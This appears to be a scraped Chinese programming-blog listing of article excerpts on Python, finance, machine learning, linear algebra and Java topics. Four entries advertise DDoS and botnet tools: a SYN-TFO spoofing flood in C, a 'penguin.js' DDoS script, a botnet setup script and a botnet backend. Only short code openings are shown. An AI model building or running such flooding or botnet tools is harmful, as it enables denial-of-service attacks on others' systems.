- Python 小练习 —— 统计字符串各类字符数量
奶香臭豆腐
python开发语言学习
需求允许用户不断输入一个字符串。写一个函数负责统计该字符串中的字符、数字、空格、特殊字符的个数。代码如下:#统计字符、数字、特殊字符的个数fromtypingimportTuple#使用类型注释所需的库#定义函数,用到了类型注释。defcount_characters(msg:str)->Tuple[int,int,int,int]:digit_count=0#数字计数器alpha_count=0
- 投资组合风险管理
周纠纠
金融科技-计算机相关区块链人工智能
投资组合风险管理市场风险信用风险流动性风险风险指标收益率波动率最大回撤α\alphaα(詹森指数),β\betaβ卡玛比率月胜率上/下行捕获比夏普比率索提诺比率经风险调整的收益率(2)特雷诺比率信息比率IR风险价值(VaR)条件风险价值(CVaR)R2R^2R2金融风险是与金融有关的风险,比如金融市场风险、金融产品风险和金融机构风险等,如果按照风险来源不同,则可以分为信用风险、市场风险、操作风险和
- python股票分析系统部署操作过程及代码实现
大懒猫软件
python开发语言flaskplotlyapirestful
部署一个股票分析系统涉及多个步骤,包括后端服务、前端界面和实时数据更新。以下是一个详细的部署过程,涵盖从代码编写到服务器部署的完整步骤。1.系统架构概述后端:使用Flask提供RESTfulAPI和数据处理服务。前端:使用PlotlyDash构建动态界面,实时显示股票价格走势。数据源:从金融数据API(如AlphaVantage、YahooFinance)获取实时数据。2.系统开发步骤2.1安装必
- Compose - 权限申请
Jomurphys
Composeandroid
一、概念二、使用AccompanistPermissions官方介绍&最新版本不同版本中,权限状态(如PermissionState)中获取属性的方法不同,例如在“0.23.1”中,通过PermissionState.hasPermission属性拿到是否通过的Boolean值,在“0.35.0-alpha”中,通过PermissionState.status.isGranted属性拿到。单个权限
- 人工智能的本质解构:从二进制桎梏到造物主悖论
Somnolence.·.·.·.
人工智能人工智能ai
一、数学牢笼中的困兽:人工智能的0-1本质人工智能的底层逻辑是数学暴力的具象化演绎。晶体管开关的物理震荡被抽象为布尔代数的0-1序列,冯·诺依曼架构将思维简化为存储器与运算器的机械对话。即使深度神经网络看似模拟人脑突触,其本质仍是矩阵乘法的迭代游戏——波士顿动力机器人的空翻动作不过是微分方程求解的物理引擎呈现,AlphaGo的围棋神话只是蒙特卡洛树搜索的概率统计。这种基于有限离散数学的架构,注定人
- 预测股票走势的ai模型
roxxo
AI模型人工智能深度学习金融
AI股票走势预测模型用深度学习+时间序列分析来构建一个股票预测AI,基于历史数据预测未来走势。1.关键功能✅AI选股(基于财务数据+技术指标)✅股票走势预测(LSTM/Transformer)✅智能筛选高增长潜力股✅可视化分析2.关键技术数据来源:YahooFinance/AlphaVantage财务分析:PE、EPS、ROE、PB、成交量机器学习选股:随机森林/XGBoost深度学习预测:LST
- SYN-TFO伪造攻击.c
金猪报喜-阿尔法
c语言安全网络
/*--------------------------------------------------*\SYN-TFO伪造攻击作者:alpha编译方法:gcc-osyntfosyntfo.c-pthread\*--------------------------------------------------*/#include#include#include#include#include#
- 优化算法全景解析:从梯度下降到群体智能
welcome_123_
算法python人工智能
一、引言:为什么需要优化算法?在AlphaGo击败人类围棋冠军的背后,在特斯拉自动驾驶系统实时决策的瞬间,在推荐系统精准推送内容的过程中,优化算法始终是推动这些技术落地的核心引擎。无论是机器学习模型的训练,还是复杂系统的参数调优,优化算法的本质是:在给定的约束条件下,找到使目标函数最优的解。本文将深入解析优化算法的核心原理、经典方法、现代进展及实战应用,助你全面掌握这一技术利器。二、优化算法分类图
- penguin.js(个人创作)DDOS脚本
金猪报喜-阿尔法
网络安全java
/*1.6by:tg@alphachnhkCHN———————————————————————————————————————————1.1CHANGELOG:-Addedredirecthandler-Addedcookieparser-Fixedupdateheaders-Addedproxyconnstats-RemovedUAMoption1.2CHANGELOG:-Addedconfig
- 僵尸DDOS设置与部署.c
金猪报喜-阿尔法
网络安全
importsubprocess,sys#
[email protected](sys.argv[2])!=0:ip=sys.argv[2]else:print("\x1b[1;95mIncorrectUsage!\x1b[0m")exit(1)bot=sys.argv[1]Sakura=raw_input("\x1b[1;95mReadyToInstallCrossCompilers?
- DDOS僵尸后端.c
金猪报喜-阿尔法
网络安全
#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#defineMAXFDS1000000//
[email protected]_t{uint32_tip;ch
- AF3 gdt函数解读
qq_27390023
机器学习人工智能生物信息学pythonpytorch
AlphaFold3的函数gdt、gdt_ts以及gdt_ha实现了GlobalDistanceTest(GDT)评分计算,用于衡量蛋白质结构预测的准确性。GDT评分衡量的是预测结构(p1)和真实结构(p2)之间的相似度,主要用于蛋白质结构比较。源代码:defgdt(p1,p2,mask,cutoffs):"""CalculatetheGlobalDistanceTest(GDT)scorefor
- 论文笔记《基于深度学习模型的药物-靶标结合亲和力预测》
I_dyllic
深度学习论文阅读深度学习人工智能
基于深度学习模型的药物-靶标结合亲和力预测这是一篇二区的文章,算是一个综述,记录一下在阅读过程中遇到的问题。文章目录基于深度学习模型的药物-靶标结合亲和力预测前言一、蛋白质接触图谱二、为什么蛋白质图谱的准确性对DTA模型预测结果没有影响1.对这段话的解释2.关于Alphafold3三、随机配体与随机配体节点属性(配体一般指药物)1.什么是随机配体与配体节点属性四、关于深度学习模型对特征的自动学习过
- Kubernetes (K8S)决定弃用 Docker!Kubernetes (K8S)学习详解
熙媛
学习笔记javadockerjenkinslinux服务器
确实如此。Kubernetes现已弃用Docker!!!目前,Kubernetes中的Docker支持功能现已弃用,并将在之后的版本中被删除。Kubernetes之前使用的是一个名为dockershim的模块,用以实现对Docker的CRI支持。但Kubernetes社区发现了与之相关的维护问题,因此建议大家考虑使用包含CRI完整实现(兼容v1alpha1或v1)的可用容器运行时。简而言之,Doc
- 高等代数复习:线性空间
爱吃白饭
高等代数线性代数学习笔记
文章目录线性空间定义和性质线性相关性与秩基与维数矩阵的秩同构坐标子空间子空间的定义和性质子空间的和与交直和陪集和商空间解线性方程组本篇文章适合个人复习翻阅,不建议新手入门使用线性空间定义和性质定义:(线性空间)设集合VVV和数域K\mathbb{K}K,在VVV上定义加法+:V×V→V,(α,β)↦α+β+:V\timesV\toV,(\alpha,\beta)\mapsto\alpha+\bet
- 神经网络常见激活函数 7-ELU函数
亲持红叶
神经网络常见激活函数深度学习机器学习人工智能数学建模神经网络
文章目录ELU函数+导函数函数和导函数图像优缺点pytorch中的ELU函数tensorflow中的ELU函数ELU指数线性单元:ELU(ExponentialLinearUnit)函数+导函数ELU函数ELU={xx>=0α(ex−1)x=0\\\alpha(e^x-1)\quad&x=0x=0αexx=0\\\alphae^x\quad&x=0x0,x,alpha*(np.exp(x)-1))
- AF3 drmsd函数解读
qq_27390023
深度学习pytorch人工智能生物信息学python
drmsd(distanceRootMeanSquareDeviation,距离均方根偏差)函数在AlphaFold3的src.utils.validation_metrics模块中定义,用于计算两个蛋白质结构(或其他分子结构)之间的距离偏差。它衡量了两个结构的成对原子间距离差异,而不是直接比较原子坐标。这种度量方式比RMSD(RootMeanSquareDeviation,均方根偏差)更能反映全
- 神经网络常见激活函数 6-RReLU函数
亲持红叶
神经网络常见激活函数神经网络人工智能深度学习机器学习pytorch激活函数
文章目录RReLU函数+导函数函数和导函数图像优缺点pytorch中的RReLU函数tensorflow中的RReLU函数RReLU随机修正线性单元:RandomizedLeakyReLU函数+导函数RReLU函数RReLU={xx≥0axx=0,inputs,alpha*inputs)#创建RReLU激活函数层rrelu=RReLU()#生成随机输入x=tf.random.normal([2])
- 39. I2C实验
lljss2020
LinuxLinux
一、IIC协议详解1、ALPHA开发板上有个AP3216C,这是一个IIC接口的器件,这是一个环境光传感器。AP3216C连接到了I2C1上:I2C1_SCL:使用的是UART4_TXD这个IO,复用位ALT2I2C1_SDA:使用的是UART4_RXD这个IO。复用为ALT22、I2C分为SCL和SDA,这两个必须要接上拉电阻到VCC,比如3.3V,一般是4.7K上拉电阻。3、I2C总线支持多从
- z变换的性质
-nightingale
离散时间傅立叶变换
Z域变换的主要性质复频域(z域)变换的性质大多与拉普拉斯变换的性质相似,其与k域有不可分割的关系。复频域(z域)变换的性质既适用于单边z变换,也适用双边z变换,其性质有九条。其中标出来的性质是比较重要的。1.线性性质若f1(k)↔F1(z),α10,则f(k±m)↔z±mF(z),αα(α为正实数)f(k)\leftrightarrowF(z),|z|>\alpha(\alpha为正实数)f(k)
- 机器学习数学基础:18.向量组及其线性组合
@心都
机器学习数学基础机器学习概率论线性代数
向量组与线性表示:案例与教程详解一、基础概念(一)向量组向量组是若干同位数列向量组成的集合。比如在平面直角坐标系中,向量组{α⃗1=[10],α⃗2=[01]}\{\vec{\alpha}_1\=\begin{bmatrix}1\\0\end{bmatrix},\vec{\alpha}_2\=\begin{bmatrix}0\\1\end{bmatrix}\}{α1=[10],α2=[01]},这
- 机器学习数学基础:19.线性相关与线性无关
@心都
机器学习数学基础机器学习概率论线性代数
一、线性相关与线性无关的定义(一)线性相关想象我们有一组向量,就好比是一群有着不同“力量”和“方向”的小伙伴。给定的向量组α⃗1,α⃗2,⋯ ,α⃗m\vec{\alpha}_1,\vec{\alpha}_2,\cdots,\vec{\alpha}_mα1,α2,⋯,αm,如果能找到不全为零的数k1,k2,⋯ ,kmk_1,k_2,\cdots,k_mk1,k2,⋯,km,让k1α⃗1+k2α⃗2
- 给bmp和png,设置BLENDFUNCTION的AlphaFormat不同参数的效果
wuchen1004
MFC图片按钮设置
BLENDFUNCTION是AlphaBlend用控制透明效果的重要参数。选择一个32位的png图片,设置AlphaFormat为AC_SRC_ALPHA,效果如上图。选择一个32位的png图片,设置AlphaFormat为0,效果如上图。选择一个24位的bmp图片,设置AlphaFormat为0,效果如上图。选择一个24位的bmp图片,设置AlphaFormat为AC_SRC_ALPHA,效果如
- 40. SPI实验
lljss2020
Linuxlinux
一、SPI协议详解1、SPI相比I2C最大的优势有两点:一个是速度快,最高可以大几十M,甚至上百MHz,第二个就是SPI是个全双工。2、SPI接口和I2C一样,一个SPI接口可以连接多个SPI外设,SPI通过CS引脚/数据线,片选引脚来选择和哪个SPI外设通信。SPI通信前先将指定的SPI外设对应的CS引脚拉低来选中此设备。3、ALPHA开发板上通过ECSPI3接口连接了一个6轴传感器,引脚如下:
- AKI跨语言调用库神助攻C/C++代码迁移至HarmonyOS NEXT
harmonyos
随着HarmonyOSNEXT的发布,越来越多的应用加速推进鸿蒙化。在这一过程中,如何高效迁移原有资产、简化跨语言调用,成为开发者和厂商面临的重要挑战。为解决这一痛点,一款名为AKI(AlphaKernelInteracting)的开源三方库应运而生,它通过高效封装跨语言调用接口,帮助开发者将C/C++代码快速迁移至HarmonyOSNEXT。凭借卓越的兼容性,AKI已成为厂商与开发者打造鸿蒙原生
- 前向概率和后向概率
苏西月
概率论机器学习人工智能
1.前向概率和后向概率的定义前向概率αt(i)\alpha_t(i)αt(i):表示从初始状态q0q_0q0出发,经过ttt步达到状态qiq_iqi,并且生成观测序列O1,O2,…,OtO_1,O_2,\dots,O_tO1,O2,…,Ot的概率。αt(i)=P(O1,O2,…,Ot,qt=i∣λ)\alpha_t(i)=P(O_1,O_2,\dots,O_t,q_t=i|\lambda)αt(i
- pyparsing 与 regex 结合表达汉字等Unicode字符(qbit)
正则表达式
前言技术栈python3.11.8pyparsing3.2.1regex2024.11.6测试案例测试代码#encoding:utf-8#author:qbit#date:2025-02-05#summary:使用pyparsing和sympy化简与或非逻辑表达式importpyparsingasppimportregex#greet=pp.Word(pp.alphas)+","+pp.Regex
- C 语言标准库 - <ctype.h>
赔罪
C语言函数库c语言开发语言c语言函数库青少年编程clion
目录C语言isascii()函数:判断字符是否为ASCII码C语言isalnum()函数:判断字符是否为字母或数字C语言isalpha()函数:判断字符是否为英文字母C语言iscntrl()函数:判断字符是否为控制字符C语言isdigit()函数:判断字符是否为十进制数字C语言isgraph()函数:判断字符是否除空格外的可打印字符C语言islower()函数:判断字符是否为小写英文字母C语言is
- 开放寻址法
小海螺123
算法
开放寻址法开放寻址法的装载因子开放寻址法插入关键字查找关键字删除关键字开放寻址法探查序列的计算方法开放寻址法的装载因子 给定一个能存放n个元素的、具有m个槽位的哈希表T,采用开放寻址法时T的装载因子为:α=n/m,n≤m\alpha=n/m,n\leqmα=n/m,n≤m开放寻址法 解决哈希表(在一些文献中又称作散列表)冲突的方法有:链接法(chaining)和开放寻址法(openaddres
- Day33【AI思考】-函数求导过程 的优质工具和网站
一个一定要撑住的学习者
#AI深度思考学习方法人工智能
文章目录**函数求导过程**的优质工具和网站**一、动态图形工具**1.**Desmos(网页端)**2.**GeoGebra(全平台)****二、分步推导工具**3.**WolframAlpha(网页/App)**4.**Symbolab(网页/App)****三、专项练习工具**5.**DerivativeCalculator(网页)**6.**Photomath(移动端)****四、编程工具
- 插入表主键冲突做更新
a-john
有以下场景:
用户下了一个订单,订单内的内容较多,且来自多表,首次下单的时候,内容可能会不全(部分内容不是必须,出现有些表根本就没有没有该订单的值)。在以后更改订单时,有些内容会更改,有些内容会新增。
问题:
如果在sql语句中执行update操作,在没有数据的表中会出错。如果在逻辑代码中先做查询,查询结果有做更新,没有做插入,这样会将代码复杂化。
解决:
mysql中提供了一个sql语
- Android xml资源文件中@、@android:type、@*、?、@+含义和区别
Cb123456
@+@?@*
一.@代表引用资源
1.引用自定义资源。格式:@[package:]type/name
android:text="@string/hello"
2.引用系统资源。格式:@android:type/name
android:textColor="@android:color/opaque_red"
- 数据结构的基本介绍
天子之骄
数据结构散列表树、图线性结构价格标签
数据结构的基本介绍
数据结构就是数据的组织形式,用一种提前设计好的框架去存取数据,以便更方便,高效的对数据进行增删查改。正确选择合适的数据结构,对软件程序的高效执行的影响作用不亚于算法的设计。此外,在计算机系统中数据结构的作用也是非同小可。例如常常在编程语言中听到的栈,堆等,就是经典的数据结构。
经典的数据结构大致如下:
一:线性数据结构
(1):列表
a
- 通过二维码开放平台的API快速生成二维码
一炮送你回车库
api
现在很多网站都有通过扫二维码用手机连接的功能,联图网(http://www.liantu.com/pingtai/)的二维码开放平台开放了一个生成二维码图片的Api,挺方便使用的。闲着无聊,写了个前台快速生成二维码的方法。
html代码如下:(二维码将生成在这div下)
? 1
&nbs
- ImageIO读取一张图片改变大小
3213213333332132
javaIOimageBufferedImage
package com.demo;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;
/**
* @Description 读取一张图片改变大小
* @author FuJianyon
- myeclipse集成svn(一针见血)
7454103
eclipseSVNMyEclipse
&n
- 装箱与拆箱----autoboxing和unboxing
darkranger
J2SE
4.2 自动装箱和拆箱
基本数据(Primitive)类型的自动装箱(autoboxing)、拆箱(unboxing)是自J2SE 5.0开始提供的功能。虽然为您打包基本数据类型提供了方便,但提供方便的同时表示隐藏了细节,建议在能够区分基本数据类型与对象的差别时再使用。
4.2.1 autoboxing和unboxing
在Java中,所有要处理的东西几乎都是对象(Object)
- ajax传统的方式制作ajax
aijuans
Ajax
//这是前台的代码
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+
- 只用jre的eclipse是怎么编译java源文件的?
avords
javaeclipsejdktomcat
eclipse只需要jre就可以运行开发java程序了,也能自动 编译java源代码,但是jre不是java的运行环境么,难道jre中也带有编译工具? 还是eclipse自己实现的?谁能给解释一下呢问题补充:假设系统中没有安装jdk or jre,只在eclipse的目录中有一个jre,那么eclipse会采用该jre,问题是eclipse照样可以编译java源文件,为什么呢?
&nb
- 前端模块化
bee1314
模块化
背景: 前端JavaScript模块化,其实已经不是什么新鲜事了。但是很多的项目还没有真正的使用起来,还处于刀耕火种的野蛮生长阶段。 JavaScript一直缺乏有效的包管理机制,造成了大量的全局变量,大量的方法冲突。我们多么渴望有天能像Java(import),Python (import),Ruby(require)那样写代码。在没有包管理机制的年代,我们是怎么避免所
- 处理百万级以上的数据处理
bijian1013
oraclesql数据库大数据查询
一.处理百万级以上的数据提高查询速度的方法: 1.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。
2.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 o
- mac 卸载 java 1.7 或更高版本
征客丶
javaOS
卸载 java 1.7 或更高
sudo rm -rf /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin
成功执行此命令后,还可以执行 java 与 javac 命令
sudo rm -rf /Library/PreferencePanes/JavaControlPanel.prefPane
成功执行此命令后,还可以执行 java
- 【Spark六十一】Spark Streaming结合Flume、Kafka进行日志分析
bit1129
Stream
第一步,Flume和Kakfa对接,Flume抓取日志,写到Kafka中
第二部,Spark Streaming读取Kafka中的数据,进行实时分析
本文首先使用Kakfa自带的消息处理(脚本)来获取消息,走通Flume和Kafka的对接 1. Flume配置
1. 下载Flume和Kafka集成的插件,下载地址:https://github.com/beyondj2ee/f
- Erlang vs TNSDL
bookjovi
erlang
TNSDL是Nokia内部用于开发电信交换软件的私有语言,是在SDL语言的基础上加以修改而成,TNSDL需翻译成C语言得以编译执行,TNSDL语言中实现了异步并行的特点,当然要完整实现异步并行还需要运行时动态库的支持,异步并行类似于Erlang的process(轻量级进程),TNSDL中则称之为hand,Erlang是基于vm(beam)开发,
- 非常希望有一个预防疲劳的java软件, 预防过劳死和眼睛疲劳,大家一起努力搞一个
ljy325
企业应用
非常希望有一个预防疲劳的java软件,我看新闻和网站,国防科技大学的科学家累死了,太疲劳,老是加班,不休息,经常吃药,吃药根本就没用,根本原因是疲劳过度。我以前做java,那会公司垃圾,老想赶快学习到东西跳槽离开,搞得超负荷,不明理。深圳做软件开发经常累死人,总有不明理的人,有个软件提醒限制很好,可以挽救很多人的生命。
相关新闻:
(1)IT行业成五大疾病重灾区:过劳死平均37.9岁
- 读《研磨设计模式》-代码笔记-原型模式
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/**
* Effective Java 建议使用copy constructor or copy factory来代替clone()方法:
* 1.public Product copy(Product p){}
* 2.publi
- 配置管理---svn工具之权限配置
chenyu19891124
SVN
今天花了大半天的功夫,终于弄懂svn权限配置。下面是今天收获的战绩。
安装完svn后就是在svn中建立版本库,比如我本地的是版本库路径是C:\Repositories\pepos。pepos是我的版本库。在pepos的目录结构
pepos
component
webapps
在conf里面的auth里赋予的权限配置为
[groups]
- 浅谈程序员的数学修养
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设计模式编程算法面试招聘
浅谈程序员的数学修养
- 批量执行 bulk collect与forall用法
daizj
oraclesqlbulk collectforall
BULK COLLECT 子句会批量检索结果,即一次性将结果集绑定到一个集合变量中,并从SQL引擎发送到PL/SQL引擎。通常可以在SELECT INTO、
FETCH INTO以及RETURNING INTO子句中使用BULK COLLECT。本文将逐一描述BULK COLLECT在这几种情形下的用法。
有关FORALL语句的用法请参考:批量SQL之 F
- Linux下使用rsync最快速删除海量文件的方法
dongwei_6688
OS
1、先安装rsync:yum install rsync
2、建立一个空的文件夹:mkdir /tmp/test
3、用rsync删除目标目录:rsync --delete-before -a -H -v --progress --stats /tmp/test/ log/这样我们要删除的log目录就会被清空了,删除的速度会非常快。rsync实际上用的是替换原理,处理数十万个文件也是秒删。
- Yii CModel中rules验证规格
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Yii cValidator主要用法分析:
yii验证rulesit 分类: Yii yii的rules验证 cValidator主要属性 attributes ,builtInValidators,enableClientValidation,message,on,safe,skipOnError
 
- 基于vagrant的redis主从实验
dcj3sjt126com
vagrant
平台: Mac
工具: Vagrant
系统: Centos6.5
实验目的: Redis主从
实现思路
制作一个基于sentos6.5, 已经安装好reids的box, 添加一个脚本配置从机, 然后作为后面主机从机的基础box
制作sentos6.5+redis的box
mkdir vagrant_redis
cd vagrant_
- Memcached(二)、Centos安装Memcached服务器
frank1234
centosmemcached
一、安装gcc
rpm和yum安装memcached服务器连接没有找到,所以我使用的是make的方式安装,由于make依赖于gcc,所以要先安装gcc
开始安装,命令如下,[color=red][b]顺序一定不能出错[/b][/color]:
建议可以先切换到root用户,不然可能会遇到权限问题:su root 输入密码......
rpm -ivh kernel-head
- Remove Duplicates from Sorted List
hcx2013
remove
Given a sorted linked list, delete all duplicates such that each element appear only once.
For example,Given 1->1->2, return 1->2.Given 1->1->2->3->3, return&
- Spring4新特性——JSR310日期时间API的支持
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spring4
Spring4新特性——泛型限定式依赖注入
Spring4新特性——核心容器的其他改进
Spring4新特性——Web开发的增强
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC
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Spring4新特性——更好的Java泛型操作API
Spring4新
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java单例
在JDK1.5之前的单例实现方式有两种(懒汉式和饿汉式并无设计上的区别故看做一种),两者同是私有构
造器,导出静态成员变量,以便调用者访问。
第一种
package singleton;
public class Singleton {
//导出全局成员
public final static Singleton INSTANCE = new S
- 使用switch条件语句需要注意的几点
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cbreakswitch
1. 当满足条件的case中没有break,程序将依次执行其后的每种条件(包括default)直到遇到break跳出
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case 1:
printf("--1--\n");
default:
printf("defa
- 配置Spring Mybatis JUnit测试环境的应用上下文
schnell18
springmybatisJUnit
Spring-test模块中的应用上下文和web及spring boot的有很大差异。主要试下来差异有:
单元测试的app context不支持从外部properties文件注入属性
@Value注解不能解析带通配符的路径字符串
解决第一个问题可以配置一个PropertyPlaceholderConfigurer的bean。
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- Java 定时任务总结一
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Java定时任务总结 一.从技术上分类大概分为以下三种方式: 1.Java自带的java.util.Timer类,这个类允许你调度一个java.util.TimerTask任务; 说明: java.util.Timer定时器,实际上是个线程,定时执行TimerTask类 &
- 一种防止用户生成内容站点出现商业广告以及非法有害等垃圾信息的方法
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rank相似度计算文本相似度词袋模型余弦相似度
本文描述了一种在ITEYE博客频道上面出现的新型的商业广告形式及其应对方法,对于其他的用户生成内容站点类型也具有同样的适用性。
最近在ITEYE博客频道上面出现了一种新型的商业广告形式,方法如下:
1、注册多个账号(一般10个以上)。
2、从多个账号中选择一个账号,发表1-2篇博文